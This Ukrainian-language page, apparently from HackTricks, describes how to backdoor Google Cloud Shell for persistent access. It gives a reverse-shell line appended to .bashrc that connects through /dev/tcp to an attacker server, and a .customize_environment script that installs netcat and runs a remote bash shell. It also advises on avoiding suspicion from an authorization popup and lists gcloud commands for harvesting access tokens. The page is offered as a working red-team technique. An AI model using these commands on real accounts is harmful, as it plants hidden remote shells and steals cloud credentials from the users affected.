GCP - Cloud Shell Persistence

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Cloud Shell

Для отримання додаткової інформації перегляньте:

pageGCP - Cloud Shell Enum

Постійний Задній Вхід

Google Cloud Shell надає вам доступ до командного рядка для ваших хмарних ресурсів безпосередньо з вашого браузера без будь-яких пов'язаних витрат.

Ви можете отримати доступ до Cloud Shell від веб-консолі або запустивши gcloud cloud-shell ssh.

Ця консоль має деякі цікаві можливості для атакування:

  1. Будь-який користувач Google з доступом до Google Cloud має доступ до повністю аутентифікованого екземпляра Cloud Shell (Службові облікові записи можуть, навіть бути власниками організації).

  2. Зазначений екземпляр буде зберігати свій домашній каталог принаймні 120 днів, якщо не відбувається жодної діяльності.

  3. Немає можливостей для організації моніторити діяльність цього екземпляра.

Це в основному означає, що атакувальник може розмістити задній вхід в домашньому каталозі користувача, і поки користувач підключається до GC Shell принаймні раз на 120 днів, задній вхід залишиться і атакувальник отримає оболонку кожного разу, коли вона запускається, просто виконавши:

echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc

У домашній папці є ще один файл під назвою .customize_environment, якщо він існує, він буде виконуватися кожного разу, коли користувач отримує доступ до хмарного шелу (як у попередній техніці). Просто вставте попередню задню двері або одну, подібну до наступної, щоб зберігати стійкість так довго, як користувач часто використовує хмарний шел:

#!/bin/sh
apt-get install netcat -y
nc <LISTENER-ADDR> 443 -e /bin/bash

Важливо зауважити, що перший раз, коли виконується дія, яка вимагає автентифікації, у браузері користувача з'являється вікно авторизації. Це вікно повинно бути прийняте перед тим, як команда може бути виконана. Якщо з'явиться неочікуване вікно, це може викликати підозру та потенційно підірвати використану методику постійства.

Це вікно з'являється при виконанні команди gcloud projects list з оболонки хмари (як зловмисник) під час перегляду сеансу користувача у браузері:

Однак, якщо користувач активно використовував cloudshell, вікно не з'явиться, і ви можете збирати токени користувача за допомогою:

gcloud auth print-access-token
gcloud auth application-default print-access-token

Як встановлюється з'єднання SSH

Основні використовуються ці 3 виклики API:

Але ви можете знайти додаткову інформацію за посиланням https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key

Посилання

Last updated